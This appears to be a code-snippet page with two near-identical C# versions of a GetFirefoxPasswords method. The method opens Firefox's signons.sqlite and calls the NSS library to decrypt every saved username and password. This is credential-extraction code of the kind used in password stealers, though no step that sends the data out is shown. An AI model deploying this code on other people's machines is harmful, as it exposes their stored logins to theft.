Exemplo n.º 1
0
        public static List <PasswordInfo> GetFirefoxPasswords()
        {
            if ((IntPtr.Size * 8) == 64)
            {
                return(new List <PasswordInfo>());
            }


            bool   FoundFile   = false;
            long   KeySlot     = 0;
            string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";

            string[] Dirs = Directory.GetDirectories(DefaultPath);
            foreach (string dir in Dirs)
            {
                if (!FoundFile)
                {
                    string[] Files = Directory.GetFiles(dir);
                    foreach (string CurrFile in Files)
                    {
                        if (!FoundFile)
                        {
                            if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                            {
                                NSS_Init(dir);
                                signon = CurrFile;
                            }
                        }
                        else
                        {
                            break;
                        }
                    }
                }
                else
                {
                    break;
                }
            }

            string   dataSource = signon;
            TSECItem tSecDec    = new TSECItem();
            TSECItem tSecDec2   = new TSECItem();

            byte[]     bvRet;
            SQLiteBase db = new SQLiteBase(dataSource);

            DataTable table  = db.ExecuteQuery("SELECT * FROM moz_logins;");
            DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");

            KeySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(KeySlot, true, 0);

            List <PasswordInfo> passwords = new List <PasswordInfo>();

            foreach (System.Data.DataRow Zeile in table.Rows)
            {
                PasswordInfo info = new PasswordInfo();
                info.URL = System.Convert.ToString(Zeile["formSubmitURL"].ToString());

                StringBuilder se   = new StringBuilder(Zeile["encryptedUsername"].ToString());
                int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                        info.Username = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }
                StringBuilder se2   = new StringBuilder(Zeile["encryptedPassword"].ToString());
                int           hi22  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                TSECItem      item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                {
                    if (tSecDec2.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec2.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                        info.Password = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }

                passwords.Add(info);
            }
            return(passwords);
        }
Exemplo n.º 2
0
        public static List<PasswordInfo> GetFirefoxPasswords()
        {
            if ((IntPtr.Size * 8) == 64)
                return new List<PasswordInfo>();


            bool FoundFile = false;
            long KeySlot = 0;
            string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
            string[] Dirs = Directory.GetDirectories(DefaultPath);
            foreach (string dir in Dirs)
            {
                if (!FoundFile)
                {
                    string[] Files = Directory.GetFiles(dir);
                    foreach (string CurrFile in Files)
                    {
                        if (!FoundFile)
                        {
                            if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                            {
                                NSS_Init(dir);
                                signon = CurrFile;
                            }
                        }
                        else
                            break;
                    }
                }
                else
                    break;
            }

            string dataSource = signon;
            TSECItem tSecDec = new TSECItem();
            TSECItem tSecDec2 = new TSECItem();
            byte[] bvRet;
            SQLiteBase db = new SQLiteBase(dataSource);

            DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
            DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");

            KeySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(KeySlot, true, 0);

            List<PasswordInfo> passwords = new List<PasswordInfo>();
            foreach (System.Data.DataRow Zeile in table.Rows)
            {
                PasswordInfo info = new PasswordInfo();
                info.URL = System.Convert.ToString(Zeile["formSubmitURL"].ToString());

                StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
                int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                        info.Username = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }
                StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
                int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                {
                    if (tSecDec2.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec2.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                        info.Password = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }

                passwords.Add(info);
            }
            return passwords;
        }